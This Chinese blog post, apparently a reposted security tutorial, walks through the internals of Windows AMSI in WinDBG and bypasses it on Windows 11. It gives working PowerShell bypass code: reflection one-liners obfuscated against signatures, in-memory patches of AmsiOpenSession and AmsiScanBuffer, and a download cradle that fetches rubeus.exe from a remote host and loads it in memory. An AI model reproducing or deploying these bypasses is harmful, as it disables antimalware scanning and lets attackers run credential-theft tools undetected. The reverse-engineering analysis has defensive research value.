免杀实战1.绕过Windows 11的 AMSI
2024-1-11 08:24:13 Author: 安全狗的自我修养(查看原文) 阅读量:13 收藏

在本文中,我想分解 AMSI(反恶意软件扫描接口)及其在 Windows 11 上的绕过技术。AMSI 旁路并不是一个新话题,与绕过 EDR 相比,AMSI 旁路要容易得多,但我学习中有一种旁路方法在 Windows 11 上不起作用。它让我很感兴趣,因为我想知道 Windows 11 的引擎盖下发生了什么变化。

在学习的同时,我还想应用我学到的逆向工程技能进行一些个人研究。好的,让我们开始吧。

相关视频教程

新到了125节

在 Windows 主机上,我们可以通过执行 exe 文件来获取 shell 或 C2 会话。此外,我们可以使用某些脚本语言实现相同的目标,例如使用 PowerShell IEX 下载底座在内存中运行脚本,而无需将文件留在磁盘上。与检测磁盘上的有效负载相比,传统的防病毒产品更难检测到此类传递,而 AMSI 提供了一个扫描接口,用于在运行时捕获各种脚本语言,例如 PowerShellJScriptVBA 或 C# 代码,以解决差距。

Amsi 代表“反恶意软件扫描接口”;它以基于脚本的恶意恶意软件为目标。下图说明了 AMSI 在高级中如何工作的过程。

amsi.dll 加载到每个 powershell.exe 进程,提供导出函数,如 AmsiInitializeAmsiOpenSession、AmsiScanbuffer 等。脚本的内容作为参数传递到 AmsiScanBuffer 中。在执行之前,将确定脚本是否为恶意脚本。

使用 WinDBG 运行 powershell.exe;附加进程后,我们现在可以看到 Amsi.dll 尚未加载。

为 AmsiInitializeAmsiOpenSession 和 AmsiScanBuffer 设置未解析的断点,继续执行。我们立即在函数 AmsiInitialize 的条目处命中断点。现在加载了 amsi.dll,并调用了函数 AmsiInitialize。

目前,我们还没有执行任何脚本,甚至没有加载powershell横幅。

继续执行,我们分别在函数 AmsiOpenSession 和 AmsiScanBuffer 的入口处命中断点。

现在,横幅已加载,我们可以提供脚本。

总之,尽管加载 AMSI 的过程可能涉及更多步骤并且更复杂,但我们知道首先调用 AmsiInitialize,然后调用 AmsiOpenSession 和 AmsiScanBuffer。

让我们提供恶意内容“invoke-mimikatz”,并检查这些函数的调用。

检查脚本内容时,不会调用 AmsiInitialize,但仍按顺序调用 AmsiOpenSession 和 AmsiScanBuffer。调用顺序并不奇怪,因为函数名称是不言自明的。

最后,脚本内容被视为恶意内容。

为了更好地理解该过程,让我们检查一下这些函数。

函数 AmsiInitialize 有 2 个参数,执行后,参数 amsiContext 将被初始化。它是 HAMSICONTEXT 类型的句柄,将传递给对 AMSI API 的所有后续调用。

HRESULT AmsiInitialize(
[in] LPCWSTR appName,
[out] HAMSICONTEXT *amsiContext
)
;

函数 AmsiOpenSession 有 2 个参数。第一个参数是 amsiContext,它是从函数 AmsiInitialize 初始化的。执行后,amsiSession 将被初始化。它是 HAMSISESSION 类型的句柄,将传递给会话中对 AMSI API 的所有后续调用。

HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
)
;

函数 AmsiScanBuffer 有 6 个参数,包括以前初始化的 amsiContext 和 amsiSession。其他参数包括脚本内容、内容长度、内容 ID 和扫描结果。参数结果的值将在执行后设置。

HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
)
;

根据结果值,扫描的脚本可能被视为恶意脚本或干净脚本。AMSI_RESULT_CLEAN是 1,AMSI_RESULT_DETECTED是 32767。

typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;

有了背景知识,让我们讨论如何通过攻击这些功能来绕过 AMSI。

在 OSEP 中,绕过方法是修补 amsiContext 指向的第一个 DWORD。以下屏幕截图是 Windows Server 2019 上 AmsiOpenSession 的图形视图。正如我们所看到的,第一个DWORD与“AMSI”进行了比较。

只要第一个 DWORD 不等于 “AMSI”,执行就会跳转到以下代码块:

loc_18000250B:
mov eax, 80070057h
retn
AmsiOpenSession endp

EAX 设置为0x80070057,这是E_INVALIDARG错误。AmsiOpenSession 的执行不成功,对 AMSI API 的所有后续调用也将失败。

但是,在 Windows 11 上,不再检查第一个 DWORD。幸运的是,仍然有多种方法可以登陆该代码块。将 RDXRCX、第 2 个 QWORD 和第 3 个 QWORD 分别与 0 进行比较。如果其中任何一个等于 0,则 AmsiOpenSession 将退出并出现错误。

以下单行有效负载利用反射,它可用于修补第一个 DWORD 以实现 AMSI 旁路,现在它不适用于 Windows 1。

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

单行有效负载被混淆以避免基于签名的检测,让我们分解一下:

1:获取定义 Ref 的程序集,然后获取该程序集中
定义的所有类型的列表 2:在列表中,根据 AmsiUtils 的属性特征定位 AmsiUtils,如 IsPublic=False、IsSerial=False,Name 包含“iUtils”子字符串等。
3:以类似的方式
查找 amsiContext 4:获取 amsiContext 参数的地址,并将结构中的第一个 DWORD 修补为 0

调整有效负载以修补第二个 QWORD,它适用于 Windows 2。

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)

我们还可以使用 PowerShell 脚本攻击 AmsiOpenSession。以下脚本修补了 AmsiOpenSession 以将 RCX 设置为 0。

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])

$
type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')

$
type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

[IntPtr]$

funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0x48,0x31,0xc9)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)

执行脚本后,我们绕过了 AMSI。

考虑到 AmsiInitialize 是在我们提供脚本之前调用的,因此我们不能直接修补指令。但是,我们可以修补 amsiContext 指向的结构,因为它在执行后初始化。

利用反射,原始单行有效载荷如下:

[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)

对其进行模糊处理以避免基于签名的检测:

$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Failed”) {$f=$e}};$f.SetValue($null,$true)

我们成功地绕过了AMSI。即使在 Windows 11 上,此有效负载仍然有效。

检查 AmsiScanBuffer 的汇编代码,我们还注意到强制函数退出并出错的代码块。

根据该图,多个分支可以在代码块上执行。有一条路径是值得注意的:

cmp rcx, rax
jz short loc_1800082CA

代码块比较存储在 RAX 和 RCX 中的值,因为 RCX 和 RAX 稍后会被覆盖,所以很难修补它们。

如果 RCX 不等于 RCX,则执行将生成以下代码块。TEST 操作将在位于内存地址 RCX+0x14 的字节和即时值 4 之间执行。这意味着,如果在字节中设置了第 3 位。

test byte ptr [rcx+1Ch], 4
jz short loc_1800082CA

如果结果不等于 0,则执行将生成以下代码块:

mov rcx, [rcx+10h]
mov r9, rbx
mov [r11-50h], rbp
mov [r11-58h], r14
mov [rsp+88h+var_60], r8d
mov [r11-68h], rdx
call WPP_SF_qqDqq

不会发生条件跳转,只需跟随执行,并登陆以下代码块。以前,RSI 是设置存储在 RDX 中的值,即缓冲区的地址。

mov rsi, rdx

如果 RSI 不等于零,则继续执行,不要有条件跳转。

loc_1800082CA:
test rsi, rsi
jz short loc_180008337

以下代码块检查 EDI 是否等于 0。以前,EDI 是将存储在 R8D 中的值设置为的。

mov edi, r8d

很明显,如果 R8 为 0,那么我们最终将达到 mov eax,0x80070057指令。

test edi, edi
jz short loc_180008337

在函数 AmsiScanBuffer 的条目处将 R8 设置为 0,继续执行。我们发现 AMSI 被绕过了。

如果我们尝试通过将 R8 设置为 0 来修补 AmsiScanBuffer:

xor r8, r8;

操作码0x4d31c0。但是,它会使 powershell.exe 进程崩溃,因为我们覆盖了一些指令,例如 mov r11、rsp。而 R11 将在以下一些说明中使用。

因此,这种旁路在理论上是有效的,但是在没有WinDBG的情况下实际使用它时,我们会遇到问题。

我们也可以强制 AmsiScanbuffer 返回E_INVALIDARG错误,说明如下:

mov eax, 0x80070057
ret

操作码0xb857000780c3。但是,操作码是签名的,因此,我们应该稍微混淆它。

最终代码:

function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -like "Ge*P*oc*ddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
AutoClass', [System.MulticastDelegate])

$
type.
DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')

$
type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}

$

a="A"
$b="msiS"
$c="canB"
$d="uffer"
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)

效果很好:)

我们讨论了如何在执行 powershell 脚本之前绕过 AMSI。但是,.NET 程序集的内容也会由 AMSI 扫描,过程略有不同。因此,攻击 AmsiInitialize 或 AmsiOpenSession 不起作用。

我们可以使用反射在内存中下载一个 C# 工具并执行它。

$data=(new-object System.Net.WebClient).DownloadData(‘http://192.168.0.45:443/rubeus.exe’)
$assembly=[System.Reflection.Assembly]::Load($data)

如以下 2 张屏幕截图所示,我们已经通过攻击 AmsiOpenSession 和 AmsiInitialize 绕过了 AMSI,但我们无法在内存中加载 Rubeus。

但是,如果我们修补 AmsiScanBuffer,我们将没问题并成功将 Rubeus 加载到内存中。

为什么?因为当使用 Assembly.Load() 方法时,clr.dll 中的函数 AmsiScan 将被额外调用。

为 powershell.exe 进程设置 4 个断点

amsi!AmsiInitialize
amsi!AmsiOpenSession
amsi!AmsiScanBuffer
clr!AmsiScan

在提供恶意内容“invoke-mimikatz”后,会到达 AmsiOpenSession 和 AmsiScanbuffer 处的断点,但不会调用函数 AmsiInitialize 和 AmsiScan

如果执行[System.Reflection.Assembly]::Load() 命令,我们发现仍然到达了前 2 个断点,这一次,我们又命中了 3 个。另外 <> 次命中证明另外扫描了内存中的 .NET 程序集。

检查 clr.dll 中的函数 AmsiScan,我们发现 AmsiInitialize 和 AmsiScan 被调用,而 AmsiOpenSession 没有被调用。

总之,攻击 AmsiInitialize 的单行有效负载不起作用,因为有效负载更改了 System.Management.Automation 命名空间的子值。此命名空间是 PowerShell 的根命名空间;它与 .NET 程序集扫描无关。AmsiScan 中根本没有调用 AmsiOpenSession。调用 AmsiScanBuffer,因此,通过攻击 AmsiScanBuffer 的绕过技术在加载 .NET 程序集时仍然有效。

https://docs.microsoft.com/en-us/windows/win32/amsi/images/amsi7archi.jpg https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiinitialize
https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiopensession
https://learn.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 https://github.com/rasta-mouse/AmsiScanBufferBypass
https://book.hacktricks.xyz/windows-hardening/windows-av-bypass
https://github.com/TheD1rkMtr/AMSI_patch
https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
https://rastamouse.me/memory-patching-amsi-bypass/
https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
https://cyberwarfare.live/assembly-load-writing-one-byte-to-evade-amsi-scan/

  • 洞课程()

  • windows

  • windows()

  • USB()

  • ()

  • ios

  • windbg

  • ()


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247491275&idx=1&sn=ba836fe372e27ea050524a50034b4ca8&chksm=c0e2bdf3c6d657c0742f14d7ff239965afab7cf2072db9028dcb172192a07b3cbc972f3b1b3e&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh